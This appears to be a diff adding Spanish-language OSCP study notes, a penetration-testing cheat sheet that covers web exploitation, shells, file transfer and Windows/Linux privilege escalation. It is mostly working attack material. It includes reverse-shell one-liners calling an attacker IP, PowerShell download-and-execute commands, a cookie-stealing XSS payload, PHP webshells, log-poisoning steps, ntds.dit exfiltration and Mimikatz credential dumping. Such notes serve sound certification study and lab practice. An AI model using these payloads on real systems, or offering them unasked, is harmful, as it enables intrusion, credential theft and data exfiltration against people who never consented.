2. Instala el certificado CA de Burp: visita `http://burp` → *CA Certificate* → impórtalo en el navegador (sin esto, HTTPS da error).
|
||||
3. O usa el **navegador embebido** de Burp (Proxy → Open Browser), ya viene configurado.
|
||||
|
||||
## Las pestañas que usarás
|
||||
```
|
||||
Proxy → Intercept ON/OFF. Capturas y reenvías/modificas peticiones.
|
||||
Target → Site map: el árbol de todo lo que has visitado.
|
||||
Repeater → reenviar UNA petición tweakeándola → Burp Repeater e Intruder
|
||||
Intruder → automatizar payloads (fuzzing, fuerza bruta) → Burp Repeater e Intruder
|
||||
Decoder → URL/base64/hex encode-decode
|
||||
Comparer → diff entre dos respuestas
|
||||
```
|
||||
|
||||
## Atajos clave
|
||||
- `Ctrl+R` → enviar petición a **Repeater**
|
||||
- `Ctrl+I` → enviar a **Intruder**
|
||||
- `Ctrl+Shift+B` → base64
|
||||
|
||||
## Community vs Pro (OSCP)
|
||||
Community vale de sobra para el examen. Limitaciones: **Intruder va ralentizado** y **no hay scanner activo** (que de todas formas está prohibido → Reglas de herramientas). Para fuzzing/fuerza bruta intensiva tira de Content discovery (ffuf) o hydra.
|
||||
|
||||
## Para qué lo usas en cada vector
|
||||
- Cambiar `Content-Type` y extensión en File upload bypass.
|
||||
- Manipular cookies/headers en Authentication attacks.
|
||||
- Probar a mano `'`, `;`, `../`, `{{7*7}}` en SQL injection, Command injection, Directory traversal, SSTI.
|
||||
|
||||
Relacionado: Hacking web · OSCP MOC
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
# Command injection
|
||||
|
||||
> Un parámetro web acaba dentro de un comando del sistema → ejecutas comandos. RCE directo, vector top del Hacking web.
|
||||
|
||||
## Dónde aparece
|
||||
Funciones que "hacen algo" con tu input: `ping`, `nslookup`, convertir imágenes, export, backup, "test connection".
|
||||
|
||||
## Separadores a probar (en Burp Repeater e Intruder)
|
||||
```
|
||||
;id ejecuta tras el comando
|
||||
| id pipe
|
||||
& id / && id encadenado
|
||||
`id` $(id) sustitución de comando
|
||||
%0a id newline (a veces evade filtros)
|
||||
```
|
||||
Ejemplo: `?host=127.0.0.1;id` → si ves `uid=...` en la respuesta, tienes RCE.
|
||||
|
||||
## Blind (no ves la salida)
|
||||
```bash
|
||||
# basado en tiempo:
|
||||
?host=127.0.0.1 && sleep 5 # ¿tarda 5s? → vulnerable
|
||||
# out-of-band:
|
||||
?host=127.0.0.1; curl http://TU_IP/$(whoami) # míralo en tu http.server
|
||||
```
|
||||
|
||||
## De RCE a shell
|
||||
```
|
||||
?host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'
|
||||
```
|
||||
→ recíbela en tu listener (Reverse shell, ojo al Egress filtering).
|
||||
|
||||
## Bypass de filtros
|
||||
- Espacios filtrados → `${IFS}`, `$IFS$9`, `<`.
|
||||
- Palabras filtradas → `w''hoami`, `wh\oami`, variables.
|
||||
|
||||
Relacionado: Directory traversal · Reverse shell · OSCP MOC
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
# Content discovery
|
||||
|
||||
> Descubrir rutas, ficheros y endpoints ocultos por fuerza bruta. El paso que más vectores destapa en Hacking web. Complementa Enumeración web.
|
||||
|
||||
## Las tres herramientas
|
||||
```bash
|
||||
# gobuster (rápido, directo)
|
||||
gobuster dir -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,txt,html
|
||||
|
||||
# feroxbuster (RECURSIVO automático, el favorito para OSCP)
|
||||
feroxbuster -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,txt,bak
|
||||
|
||||
# ffuf (el más flexible: filtros, vhosts, params)
|
||||
ffuf -u http://IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.txt
|
||||
```
|
||||
|
||||
## Lo que importa
|
||||
- **Extensiones** (`-x` / `-e`): prueba según la tecnología → `php`, `asp`, `aspx`, `txt`, `bak`, `zip`, `old`.
|
||||
- **Recursión**: feroxbuster baja solo a las carpetas que encuentra (gobuster no).
|
||||
- **Wordlists**: `raft-large-words`, `directory-list-2.3-medium`. `common.txt` es nivel junior (Trampas de enumeración).
|
||||
- **Filtrar ruido** en ffuf: `-fc 404` (código), `-fs 1234` (tamaño), `-mc 200,301,302`.
|
||||
|
||||
## Más allá de directorios
|
||||
```bash
|
||||
ffuf -u http://IP/page.php?FUZZ=test -w params.txt # descubrir parámetros (o usa arjun)
|
||||
ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP -w subs.txt # vhosts → Vhosts y subdominios
|
||||
```
|
||||
|
||||
## Qué hacer con lo encontrado
|
||||
Cada ruta nueva = superficie nueva → vuelve a Hacking web y pruébala (login → Authentication attacks, `?file=` → Directory traversal, upload → File upload bypass).
|
||||
|
||||
Relacionado: Burp Suite · Enumeración web · OSCP MOC
|
||||
|
|
@ -0,0 +1,37 @@
|
|||
# Directory traversal
|
||||
|
||||
> Salir del directorio web con `../` para **leer ficheros arbitrarios**. Distinto de LFI a RCE: traversal solo **lee**; LFI **incluye/ejecuta**. Vector de Hacking web.
|
||||
|
||||
## Dónde
|
||||
Parámetros que apuntan a ficheros: `?file=`, `?page=`, `?download=`, `?doc=`, `?path=`, `?lang=`.
|
||||
|
||||
## Payloads
|
||||
```
|
||||
../../../../etc/passwd
|
||||
....//....//....//etc/passwd (bypass de filtro que quita "../")
|
||||
%2e%2e%2f%2e%2e%2fetc%2fpasswd (URL-encode)
|
||||
%252e%252e%252f (doble URL-encode)
|
||||
/etc/passwd (ruta absoluta directa)
|
||||
..%c0%af..%c0%af (UTF-8 overlong)
|
||||
```
|
||||
|
||||
## Windows
|
||||
```
|
||||
..\..\..\..\windows\win.ini
|
||||
..\..\..\..\windows\system32\drivers\etc\hosts
|
||||
```
|
||||
|
||||
## Ficheros jugosos
|
||||
```
|
||||
/etc/passwd /etc/shadow /etc/hosts
|
||||
~/.ssh/id_rsa → login SSH directo
|
||||
config.php web.config .env → credenciales de BD
|
||||
/var/www/html/... → código fuente (busca creds, segundos vectores)
|
||||
```
|
||||
|
||||
## Siguiente paso
|
||||
- Lees `id_rsa` → SSH como ese usuario.
|
||||
- Lees código/config → credenciales → Authentication attacks / reutilización.
|
||||
- Si además se **incluye** (PHP) → escala a LFI a RCE.
|
||||
|
||||
Relacionado: LFI a RCE · Burp Repeater e Intruder · OSCP MOC
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
# File upload bypass
|
||||
|
||||
> Subir una webshell cuando el upload está "filtrado". Vector de Hacking web. Manipula la subida con Burp Suite.
|
||||
|
||||
## Trucos
|
||||
```
|
||||
Doble extensión → shell.php.jpg, shell.phtml, .phar, .pht
|
||||
Magic bytes → GIF89a;<?php system($_GET['c']); ?>
|
||||
Content-Type → Burp: cambiar a image/jpeg
|
||||
.htaccess → reasignar el handler para que .jpg se ejecute como PHP
|
||||
```
|
||||
|
||||
## Flujo
|
||||
1. Subes la webshell evadiendo el filtro.
|
||||
2. La localizas (fuzzing de `/uploads/` → Enumeración web).
|
||||
3. `?c=...` → RCE → lanzas Reverse shell.
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
# Hacking web (metodología)
|
||||
|
||||
> Cómo atacar una web paso a paso. En el OSCP, la web es el **foothold** más común de las máquinas standalone. Sub-índice de Enumeración dentro de la Metodología OSCP.
|
||||
|
||||
## El flujo
|
||||
```
|
||||
1. ENUMERAR → Enumeración web + Content discovery + Vhosts y subdominios
|
||||
2. MAPEAR superficie → cada input es un test: URL, params GET/POST, headers,
|
||||
cookies, formularios, uploads, JSON/API. Mapea con Burp Suite.
|
||||
3. IDENTIFICAR tecnología → whatweb, wappalyzer, headers, errores → searchsploit del CMS
|
||||
4. PROBAR cada vector (uno a uno):
|
||||
SQL injection (login, params, search)
|
||||
Command injection (params que ejecutan algo: ping, convert, export)
|
||||
Directory traversal (file=, path=, download=, page=)
|
||||
LFI a RCE / RFI (include de ficheros)
|
||||
File upload bypass (avatar, documento, import)
|
||||
XSS (reflejo en la página)
|
||||
SSTI ({{7*7}} en plantillas)
|
||||
Authentication attacks (default creds, fuerza bruta, bypass)
|
||||
5. EXPLOTAR → de RCE a Reverse shell → luego Privesc Linux / Privesc Windows
|
||||
```
|
||||
|
||||
## La regla de oro web
|
||||
**Todo input es sospechoso.** Por cada parámetro, prueba: comilla `'`, `<`, `;`, `../`, `{{7*7}}`, `$(id)`. La página te dice por su reacción qué vector hay.
|
||||
|
||||
## Herramientas
|
||||
- Burp Suite (intercepta y manipula TODO) + Burp Repeater e Intruder
|
||||
- Content discovery (gobuster/feroxbuster/ffuf)
|
||||
- `nikto`, `whatweb`, `wpscan`, `cmsmap` → Enumeración web
|
||||
|
||||
Relacionado: Recursos públicos (PayloadsAllTheThings, HackTricks) · OSCP MOC
|
||||
21
nucleo/saber/conocimiento/02 - Explotacion web/LFI a RCE.md
Normal file
21
nucleo/saber/conocimiento/02 - Explotacion web/LFI a RCE.md
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
# LFI a RCE
|
||||
|
||||
> Local File Inclusion → ejecución de código. Vector clásico de Hacking web. Pariente de Directory traversal (traversal lee; LFI incluye/ejecuta).
|
||||
|
||||
## Si tienes LFI básico, prueba
|
||||
```
|
||||
/proc/self/environ # con User-Agent malicioso
|
||||
/var/log/apache2/access.log # log poisoning + curl con UA payload
|
||||
php://filter/convert.base64-encode/resource=index.php # leer fuente
|
||||
data://, expect://, phar:// # PHP wrappers
|
||||
```
|
||||
|
||||
## Log poisoning (LFI → RCE)
|
||||
1. Envías una petición con `User-Agent: <?php system($_GET['c']); ?>`.
|
||||
2. Incluyes el log: `?page=/var/log/apache2/access.log&c=id`.
|
||||
3. El PHP de tu UA se ejecuta → RCE → Reverse shell.
|
||||
|
||||
## php://filter
|
||||
Lee el código fuente en base64 para encontrar credenciales/segundos vectores (SQL injection, creds en config).
|
||||
|
||||
Relacionado: Hacking web · Directory traversal · File upload bypass · Reverse shell · OSCP MOC
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
# SQL injection
|
||||
|
||||
> Aprende **manual primero** (en Burp Repeater e Intruder). `sqlmap` a veces miente — y en el examen está limitado (Reglas de herramientas). Vector de Hacking web.
|
||||
|
||||
## Bypass de login
|
||||
```
|
||||
' OR '1'='1'-- - (con espacio - doble guion - espacio)
|
||||
```
|
||||
|
||||
## Detección time-based
|
||||
```
|
||||
' AND SLEEP(5)-- -
|
||||
```
|
||||
|
||||
## De SQLi a shell
|
||||
- MSSQL: `xp_cmdshell` → RCE → Reverse shell.
|
||||
- Dump de tablas → credenciales → reutilización en otros servicios (Pass-the-Hash, RDP).
|
||||
- Lectura de ficheros (`LOAD_FILE`) → puede encadenar con LFI a RCE.
|
||||
26
nucleo/saber/conocimiento/02 - Explotacion web/SSTI.md
Normal file
26
nucleo/saber/conocimiento/02 - Explotacion web/SSTI.md
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# SSTI (Server-Side Template Injection)
|
||||
|
||||
> Tu input entra en una plantilla del servidor (Jinja2, Twig, Freemarker...) y se **evalúa** → RCE. Vector de Hacking web.
|
||||
|
||||
## Detección
|
||||
```
|
||||
{{7*7}} → si responde 49 → vulnerable (Jinja2/Twig)
|
||||
${7*7} → Freemarker / otros
|
||||
<%= 7*7 %> → ERB (Ruby)
|
||||
#{7*7} → Ruby/otros
|
||||
```
|
||||
Si `{{7*7}}` devuelve `49` (no el literal), hay SSTI.
|
||||
|
||||
## Identificar el motor
|
||||
Usa el árbol de polyglots de PayloadsAllTheThings (Recursos públicos) o **tplmap** para automatizar.
|
||||
|
||||
## Jinja2 (Python) → RCE
|
||||
```python
|
||||
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
|
||||
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
|
||||
## De RCE a shell
|
||||
Inyecta el comando de Reverse shell dentro del payload → listener en Kali.
|
||||
|
||||
Relacionado: Command injection · XSS · OSCP MOC
|
||||
28
nucleo/saber/conocimiento/02 - Explotacion web/XSS.md
Normal file
28
nucleo/saber/conocimiento/02 - Explotacion web/XSS.md
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
# XSS (Cross-Site Scripting)
|
||||
|
||||
> Inyectas JavaScript que se ejecuta en el navegador de otro usuario. En OSCP pesa menos que SQLi/RCE, pero aparece (sobre todo para robar sesión de un admin). Vector de Hacking web.
|
||||
|
||||
## Tipos
|
||||
```
|
||||
Reflected → tu payload vuelve en la respuesta de ESA petición (?q=<script>...)
|
||||
Stored → se guarda (comentario, perfil) y se dispara a quien lo vea (más potente)
|
||||
DOM → el JS del cliente mete tu input en el DOM sin sanear
|
||||
```
|
||||
|
||||
## Detección y payloads
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(document.domain)>
|
||||
"><svg onload=alert(1)>
|
||||
```
|
||||
Prueba primero un marcador inofensivo y mira si se **renderiza** o se escapa (en Burp Repeater e Intruder).
|
||||
|
||||
## Para qué sirve en OSCP
|
||||
- **Robar la cookie de sesión** de un admin (XSS stored en un panel que el admin revisa):
|
||||
```html
|
||||
<script>new Image().src='http://TU_IP/c='+document.cookie</script>
|
||||
```
|
||||
La recibes en tu `python3 -m http.server` → la usas en Authentication attacks.
|
||||
- A veces el panel admin tiene una función que escala a RCE / File upload bypass.
|
||||
|
||||
Relacionado: SSTI · Authentication attacks · OSCP MOC
|
||||
22
nucleo/saber/conocimiento/03 - Shells/Egress filtering.md
Normal file
22
nucleo/saber/conocimiento/03 - Shells/Egress filtering.md
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
# Egress filtering
|
||||
|
||||
> El firewall del **objetivo** bloquea ciertos puertos de salida → tu Reverse shell no conecta y crees que el exploit falló.
|
||||
|
||||
## Qué probar (puertos de salida)
|
||||
```
|
||||
80, 443, 8080, 53, 4444
|
||||
```
|
||||
- Si **ninguno** funciona → considera una shell por **ICMP** o canal DNS.
|
||||
- 53 (DNS) y 443 suelen estar permitidos casi siempre.
|
||||
|
||||
## Listener correcto según objetivo
|
||||
```
|
||||
nc clásico → víctima Linux
|
||||
ncat --ssl → evadir IDS
|
||||
stty raw -echo+nc → Windows ConPtyShell
|
||||
```
|
||||
|
||||
## Regla
|
||||
Descubre el egress **pronto** (Gestión del tiempo): perder 2h pensando que el exploit no va, cuando es el firewall, es clásico.
|
||||
|
||||
Relacionado: Reverse shell · Puesto de mando Kali · OSCP MOC
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
# Estabilizar shell TTY
|
||||
|
||||
> Una shell rota es tortura (sin Ctrl+C, sin flechas, sin `sudo`). Esto la arregla. Sigue a Reverse shell.
|
||||
|
||||
## El ritual (Linux)
|
||||
```bash
|
||||
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||||
# Ctrl+Z (suspende nc)
|
||||
stty raw -echo; fg
|
||||
# Enter, Enter
|
||||
export TERM=xterm
|
||||
stty rows 40 columns 120
|
||||
```
|
||||
- `rows`/`cols` los sacas con **`stty size`** en TU Kali.
|
||||
|
||||
## Windows
|
||||
- Usa **Invoke-ConPtyShell** (Reverse shell) para una shell interactiva real.
|
||||
- Listener con `stty raw -echo; (stty size; cat) | nc -lvnp 4444`.
|
||||
|
||||
## Por qué
|
||||
- Sin TTY: muchos exploits de Privesc Linux (los que piden `sudo`/interacción) fallan.
|
||||
|
||||
Relacionado: Puesto de mando Kali · OSCP MOC
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
# Puesto de mando Kali
|
||||
|
||||
> **No tienes una GUI central.** Cada herramienta es independiente y habla por red con la víctima.
|
||||
> Tu Kali = un puesto de mando con varios terminales abiertos a la vez.
|
||||
|
||||
## Los 4 terminales
|
||||
```
|
||||
Terminal 1 — listener de shells
|
||||
stty raw -echo; (stty size; cat) | nc -lvnp 4444
|
||||
|
||||
Terminal 2 — HTTP para servir tus tools a la víctima
|
||||
cd tu carpeta
|
||||
python3 -m http.server 80
|
||||
|
||||
Terminal 3 — SMB para que la víctima TE envíe ficheros
|
||||
mkdir /tmp/loot && cd /tmp/loot
|
||||
impacket-smbserver loot . -smb2support
|
||||
|
||||
Terminal 4 — tu shell de trabajo (nxc, impacket, etc.)
|
||||
$
|
||||
```
|
||||
|
||||
- Terminal 1 recibe la Reverse shell (estabilízala → Estabilizar shell TTY).
|
||||
- Terminales 2 y 3 = Transferencia de ficheros (subir tools / exfiltrar loot).
|
||||
- Terminal 4 = lanzas Impacket, BloodHound, etc.
|
||||
|
||||
Relacionado: Egress filtering · OSCP MOC
|
||||
34
nucleo/saber/conocimiento/03 - Shells/Reverse shell.md
Normal file
34
nucleo/saber/conocimiento/03 - Shells/Reverse shell.md
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
# Reverse shell
|
||||
|
||||
> El foothold: la víctima se conecta de vuelta a tu listener. Recíbela en el Puesto de mando Kali.
|
||||
|
||||
## Listener (Kali)
|
||||
```bash
|
||||
nc -lvnp 4444 # clásico
|
||||
# para Windows ConPtyShell, estabilizado:
|
||||
stty raw -echo; (stty size; cat) | nc -lvnp 4444
|
||||
```
|
||||
|
||||
## Disparo en la víctima
|
||||
### Windows (PowerShell, interactiva con ConPtyShell)
|
||||
```powershell
|
||||
IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
|
||||
```
|
||||
El script se sirve desde tu HTTP (Transferencia de ficheros).
|
||||
|
||||
### Linux (varios lenguajes)
|
||||
```bash
|
||||
bash -i >& /dev/tcp/TU_IP/4444 0>&1
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TU_IP 4444 >/tmp/f # nc sin -e
|
||||
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
|
||||
perl -e 'use Socket;...' # cuando solo hay perl
|
||||
php -r '$s=fsockopen("TU_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
```
|
||||
> Más payloads (war/aspx/jsp, x64, encoders) → genera con msfvenom. Referencia viva: revshells.com.
|
||||
|
||||
## Después
|
||||
- **Estabiliza** la shell → Estabilizar shell TTY.
|
||||
- Si no conecta, sospecha Egress filtering (prueba 80, 443, 53, 4444).
|
||||
- Luego: PEASS-ng → Privesc Linux / Privesc Windows.
|
||||
|
||||
Relacionado: Egress filtering · msfvenom · Metasploit · OSCP MOC
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
# Transferencia de ficheros
|
||||
|
||||
> **Subes** tools a la víctima y **exfiltras** loot. Montado en el Puesto de mando Kali. Matriz completa: oscp.trastero.org/filetransfer.
|
||||
|
||||
## Servidores en tu Kali
|
||||
```bash
|
||||
python3 -m http.server 7788 # HTTP
|
||||
impacket-smbserver -smb2support SERVER $(pwd) # SMB (anónimo)
|
||||
impacket-smbserver -username u -password p -smb2support SERVER $(pwd) # SMB con auth
|
||||
python3 -m pyftpdlib --user=u --password=p -w -p 21 # FTP
|
||||
php -S 0.0.0.0:7788 # PHP
|
||||
```
|
||||
|
||||
## Descargar EN la víctima Windows
|
||||
```powershell
|
||||
(New-Object Net.WebClient).DownloadFile('http://TU_IP/f.exe','C:\Windows\Temp\f.exe')
|
||||
Invoke-WebRequest http://TU_IP/f.exe -OutFile f.exe # iwr
|
||||
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/x.ps1') # fileless → AV evasion
|
||||
bitsadmin /transfer job http://TU_IP/f.exe C:\Temp\f.exe
|
||||
certutil.exe -urlcache -split -f "http://TU_IP/f.exe" f.exe # LOLBin clásico
|
||||
tftp -i TU_IP get f.exe # (DISM /online /Enable-Feature /FeatureName:TFTP)
|
||||
```
|
||||
```cmd
|
||||
net use x: \\TU_IP\SERVER /user:u p & copy x:\f.exe . # vía SMB
|
||||
```
|
||||
|
||||
## Descargar EN la víctima Linux
|
||||
```bash
|
||||
wget http://TU_IP/f -O f ; curl -o f http://TU_IP/f
|
||||
php -r '$f=file_get_contents("http://TU_IP/f");file_put_contents("f",$f);'
|
||||
python3 -c "import urllib.request;urllib.request.urlretrieve('http://TU_IP/f','f')"
|
||||
cat < /dev/tcp/TU_IP/7788 > f # con nc -lvnp 7788 < f en Kali
|
||||
```
|
||||
|
||||
## Exfiltrar de la víctima → Kali
|
||||
```cmd
|
||||
copy C:\Windows\NTDS\ntds.dit \\TU_IP\SERVER\ :: SMB (cifra, cruza firewalls) → secretsdump
|
||||
(New-Object Net.WebClient).UploadFile('http://TU_IP/up.php','loot.zip')
|
||||
```
|
||||
```bash
|
||||
scp loot.tar user@TU_IP:/tmp/ # si hay SSH
|
||||
```
|
||||
|
||||
## Sin red: copy-paste por base64
|
||||
```bash
|
||||
base64 -w0 f.bin # en origen, copias el string
|
||||
echo "BASE64..." | base64 -d > f.bin # en destino, pegas
|
||||
# Windows: certutil -encode f.bin b64.txt / certutil -decode b64.txt f.bin
|
||||
```
|
||||
Útil cuando solo tienes una shell de texto (Estabilizar shell TTY) o vía RDP `/clipboard`.
|
||||
|
||||
## Cifrado (canal vigilado)
|
||||
```bash
|
||||
openssl enc -base64 -in f -out f.b64 # ofuscar
|
||||
openssl s_server -quiet -accept 7788 -cert c.pem -key k.pem < f # transferencia TLS
|
||||
```
|
||||
|
||||
Relacionado: Egress filtering · Tunneling · Herramientas (índice) · OSCP MOC
|
||||
18
nucleo/saber/conocimiento/04 - Privesc/GTFOBins y LOLBAS.md
Normal file
18
nucleo/saber/conocimiento/04 - Privesc/GTFOBins y LOLBAS.md
Normal file
|
|
@ -0,0 +1,18 @@
|
|||
# GTFOBins y LOLBAS
|
||||
|
||||
> Las dos chuletas que conviertes en privesc/ejecución usando binarios legítimos.
|
||||
|
||||
## GTFOBins (Linux) — https://gtfobins.github.io
|
||||
- Dado un binario con SUID, `sudo`, o capability → cómo abusarlo para shell/leer/escribir como root.
|
||||
- Flujo: `sudo -l` o `find / -perm -4000` → buscas el binario en GTFOBins.
|
||||
- Ejemplo mental: `vim`, `find`, `less`, `python` con SUID → root trivial.
|
||||
|
||||
## LOLBAS (Windows) — https://lolbas-project.github.io
|
||||
- "Living Off the Land Binaries": binarios firmados de Windows para descargar/ejecutar/bypassear.
|
||||
- Útil para Transferencia de ficheros y evadir controles (`certutil`, `bitsadmin`, `mshta`...).
|
||||
|
||||
## Cómo encaja
|
||||
- Privesc Linux → GTFOBins es el segundo paso de casi todo SUID/sudo.
|
||||
- Privesc Windows → LOLBAS para vivir de la tierra.
|
||||
|
||||
Relacionado: Recursos públicos · OSCP MOC
|
||||
21
nucleo/saber/conocimiento/04 - Privesc/PEASS-ng.md
Normal file
21
nucleo/saber/conocimiento/04 - Privesc/PEASS-ng.md
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
# PEASS-ng (winPEAS / linPEAS)
|
||||
|
||||
> Scripts que **enumeran automáticamente** todos los vectores de privesc. En `tu carpeta`.
|
||||
|
||||
## Subir y ejecutar
|
||||
```bash
|
||||
# Kali (servir): cd tu carpeta && python3 -m http.server 80 → Transferencia de ficheros
|
||||
```
|
||||
```powershell
|
||||
# Windows:
|
||||
iwr http://TU_IP/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe ; C:\Windows\Temp\wp.exe
|
||||
```
|
||||
```bash
|
||||
# Linux:
|
||||
wget http://TU_IP/linpeas.sh -O /tmp/lp.sh ; bash /tmp/lp.sh
|
||||
```
|
||||
|
||||
## Regla de oro
|
||||
**Automatizado + manual.** winPEAS resalta lo sospechoso (rojo/amarillo), pero **revisa a mano** Privesc Windows / Privesc Linux: winPEAS no encuentra todo (ej. lógica de un script cron concreto).
|
||||
|
||||
Relacionado: GTFOBins y LOLBAS · Metodología OSCP · OSCP MOC
|
||||
24
nucleo/saber/conocimiento/04 - Privesc/Potato attacks.md
Normal file
24
nucleo/saber/conocimiento/04 - Privesc/Potato attacks.md
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
# Potato attacks
|
||||
|
||||
> Cuando `whoami /priv` muestra **SeImpersonatePrivilege** o **SeAssignPrimaryTokenPrivilege** → abuso de token a **NT AUTHORITY\SYSTEM**.
|
||||
|
||||
## El gatillo
|
||||
```
|
||||
whoami /priv → busca SeImpersonatePrivilege = Enabled
|
||||
```
|
||||
Típico en cuentas de servicio (IIS, MSSQL `sa`, etc.).
|
||||
|
||||
## La familia
|
||||
```
|
||||
JuicyPotato → Windows antiguos
|
||||
PrintSpoofer → Windows 10/Server 2016-2019 (servicio de impresión)
|
||||
GodPotato → moderno, muy fiable hoy
|
||||
RoguePotato / RottenPotato → variantes
|
||||
```
|
||||
|
||||
## Uso típico (GodPotato/PrintSpoofer)
|
||||
```
|
||||
GodPotato.exe -cmd "cmd /c whoami"
|
||||
PrintSpoofer.exe -i -c cmd
|
||||
```
|
||||
Subes el .exe con Transferencia de ficheros.
|
||||
25
nucleo/saber/conocimiento/04 - Privesc/Privesc Linux.md
Normal file
25
nucleo/saber/conocimiento/04 - Privesc/Privesc Linux.md
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
# Privesc Linux
|
||||
|
||||
> Tras el foothold (Reverse shell + Estabilizar shell TTY): script automatizado (PEASS-ng) **+** revisión manual. Paso 4 de la Metodología OSCP.
|
||||
|
||||
## Los 10 olvidados
|
||||
```
|
||||
1. sudo -l → SIEMPRE primero, sin password
|
||||
2. SUID exóticos → find / -perm -4000 2>/dev/null → GTFOBins y LOLBAS
|
||||
3. Capabilities → getcap -r / 2>/dev/null (cap_setuid en python/perl = root)
|
||||
4. Cron escribibles → /etc/crontab, /var/spool/cron (scripts que puedes editar)
|
||||
5. Wildcard injection → tar czf /backup/* con --checkpoint
|
||||
6. PATH abuse → script SUID llama "ps" sin ruta → creas ./ps malicioso
|
||||
7. NFS no_root_squash → showmount -e ; montas y subes un SUID
|
||||
8. Docker group → docker run -v /:/mnt -it alpine chroot /mnt (= root)
|
||||
9. Kernel exploits → último recurso: DirtyCow, DirtyPipe (uname -a; searchsploit)
|
||||
10. Ficheros sensibles → /etc/passwd escribible, /etc/shadow legible, /var/backups
|
||||
```
|
||||
|
||||
## Orden recomendado
|
||||
`sudo -l` → SUID/caps + GTFOBins y LOLBAS → cron → resto. **Kernel exploit = último recurso** (inestable) → Exploits conocidos.
|
||||
|
||||
## Herramientas
|
||||
`linpeas.sh` (PEASS-ng), `LinEnum`, `linux-exploit-suggester` (LES), `lse.sh`, y `pspy` (espía cron/procesos sin root). Ver Herramientas (índice).
|
||||
|
||||
Relacionado: Exploits conocidos · PEASS-ng · Privesc Windows · OSCP MOC
|
||||
41
nucleo/saber/conocimiento/04 - Privesc/Privesc Windows.md
Normal file
41
nucleo/saber/conocimiento/04 - Privesc/Privesc Windows.md
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
# Privesc Windows
|
||||
|
||||
> Tras la Reverse shell PowerShell: PEASS-ng (winPEAS) **+** revisión manual. Camino a SYSTEM.
|
||||
|
||||
## Los 10 olvidados
|
||||
```
|
||||
1. whoami /priv → SeImpersonate/SeAssignPrimaryToken → Potato attacks
|
||||
2. Unquoted services → wmic service get name,pathname,startmode
|
||||
path con espacios sin comillas + carpeta escribible = exe propio
|
||||
3. AlwaysInstallElev. → reg query HKLM\...\Windows\Installer (ambos =1 → msi = SYSTEM)
|
||||
4. Service permisos → accesschk.exe -uwcqv user * (SERVICE_CHANGE_CONFIG)
|
||||
5. Creds en disco → Unattend.xml, sysprep.inf, web.config, cmdkey /list, SAM/SYSTEM
|
||||
6. AutoLogon registro → HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
|
||||
7. Pass spraying → la pass del user normal contra admin/administrator/sa
|
||||
8. WSL / OpenSSH → credenciales en .bash_history
|
||||
9. Scheduled tasks → schtasks /query /fo LIST /v (scripts editables)
|
||||
10. UAC bypass + token impersonation
|
||||
```
|
||||
|
||||
## Privilegios de token (SeXxxPrivilege)
|
||||
```
|
||||
SeImpersonate / SeAssignPrimaryToken → Potato attacks
|
||||
SeBackupPrivilege → lees ficheros restringidos (copias SAM/SYSTEM, NTDS.dit)
|
||||
SeRestorePrivilege → escribes donde quieras: sustituye utilman.exe por cmd.exe
|
||||
SeDebugPrivilege → vuelcas LSASS → Mimikatz
|
||||
SeTakeOwnership → te apropias de objetos protegidos
|
||||
```
|
||||
|
||||
## Otras técnicas (del sitio)
|
||||
- **DLL hijacking**: servicio que carga una DLL por ruta insegura → pones tu DLL (msfvenom `-f dll`) y reinicias el servicio.
|
||||
- **UAC bypass** vía `eventvwr.exe` (hijack de registro) cuando ya tienes código en un user del grupo Administrators.
|
||||
- **Unattend.xml / cmdkey / registro** → credenciales en disco (ya en los 10 olvidados).
|
||||
|
||||
## Herramientas
|
||||
`PowerUp`, `PrivescCheck`, `Sherlock` (PowerShell) + `accesschk.exe` (SysInternals) → ver Herramientas (índice) y PEASS-ng.
|
||||
|
||||
## Tras conseguir SYSTEM
|
||||
- Mimikatz → `sekurlsa::logonpasswords` → hashes/creds de dominio.
|
||||
- Esas creds → Movimiento lateral y Active Directory.
|
||||
|
||||
Relacionado: Potato attacks · Exploits conocidos · PEASS-ng · Privesc Linux · OSCP MOC
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
# ACL abuses
|
||||
|
||||
> Permisos mal configurados sobre objetos de AD que te dejan escalar. **BloodHound te los pinta** como aristas. Camino de Active Directory.
|
||||
|
||||
## Las aristas peligrosas
|
||||
```
|
||||
GenericAll → control total sobre el objeto
|
||||
WriteDACL → te das a ti mismo cualquier permiso
|
||||
AddMember → te metes en un grupo (ej. Domain Admins)
|
||||
ForceChangePassword → cambias la pass de otro usuario sin saber la actual
|
